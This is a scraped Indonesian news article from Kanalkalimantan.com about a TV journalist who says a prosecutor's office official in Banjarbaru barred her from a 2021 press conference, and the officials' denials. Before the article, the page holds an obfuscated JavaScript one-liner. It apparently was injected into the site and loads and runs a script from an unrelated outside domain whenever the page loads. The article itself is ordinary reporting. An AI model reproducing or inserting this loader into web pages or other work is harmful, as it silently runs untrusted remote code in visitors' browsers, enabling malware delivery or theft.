(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU- Seorang wartawan Duta TV merasa diperlakukan diskriminatif oleh Kasi Intel Kejaksaan Negeri (Kejari) Banjarbaru saat melakukan tugas peliputan. Ia mengaku mengalami perlakuan berbeda dengan dilarang masuk ke ruangan saat acara konferensi pers pelimpahan kasus pengemplangan pajak di Kejari Banjarbaru pada Jumat (3/12/2021) siang.
Wartawan TV bernama Tarida Sitompul mengaku sempat dihalangi security Kejari Banjarbaru untuk masuk ke lokasi konferensi pers di aula kejaksaan.
“Saya sudah mencoba menghubungi lewat ponsel untuk menanyakan jam konferensi pers. Tapi tidak direspon, saat kita datangi. Ternyata satpam melarang, atas dasar perintah kasi intel,” katanya.
Karena satpam hanya menerima perintah, lanjutnya, dirinya menghormati satpam sebagai perangkat keamanan dan bawahan dari pejabat di kejaksaan.
Baca juga: Kalsel Terima APBN 2022 Rp 25,07 Triliun, Ada Penurunan 4,28 Persen
“Kita hormati larangan dari pihak security, karena hanya menjalankan tugas. Dan sangat mustahil beliau berbohong. Sebab nama saya yang disebut secara khusus untuk dilarang masuk,” papar dia.
Demikian pula, dengan pernyataan kasi Intel NA yang beralasan, terlambat datang. Sebab menurut Tarida dalam kegiatan dimana pun, tidak ada wartawan yang ditolak saat meliput.
“Alasan oknum Kasi Intel berinisial NA tidak logis karena saya terlambat, pada kegiatan lain sering wartawan terlambat dan tidak dilarang. Demikian pula saat konferensi pers, kasus IPAD. Justru saya disuruh menunggu kawan wartawan, padahal waktunya sudah lewat,” ungkap dia.
Baca juga: Simpan Sabu 5,61 Gram, Perempuan 41 Tahun Dibekuk Polisi
Terkait kejadian ini, Kasi Intel Kejari Banjarbaru NA menyatakan tidak melarang. Dalam pernyataan yang disampaikan, ia mengatakan peristiwa terjadi karena jurnalis Duta TV terlambat datang saat acara dimulai.
“Tidak ada melarang seperti itu,” katanya.
Kepala Kejaksaan Negeri (Kajari) Banjarbaru Andri Irawan pun mengatakan tidak ada melarang wartawan meliput.
“Tidak ada melarang, karena era keterbukaan,” tegasnya.
Sebelumnya, jurnalis Duta TV pernah melakukan tugas peliputan terkait proyek pembangunan gudang barang bukti kejaksaan yang bersumber dari anggaran penerimaan negara bukan pajak. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.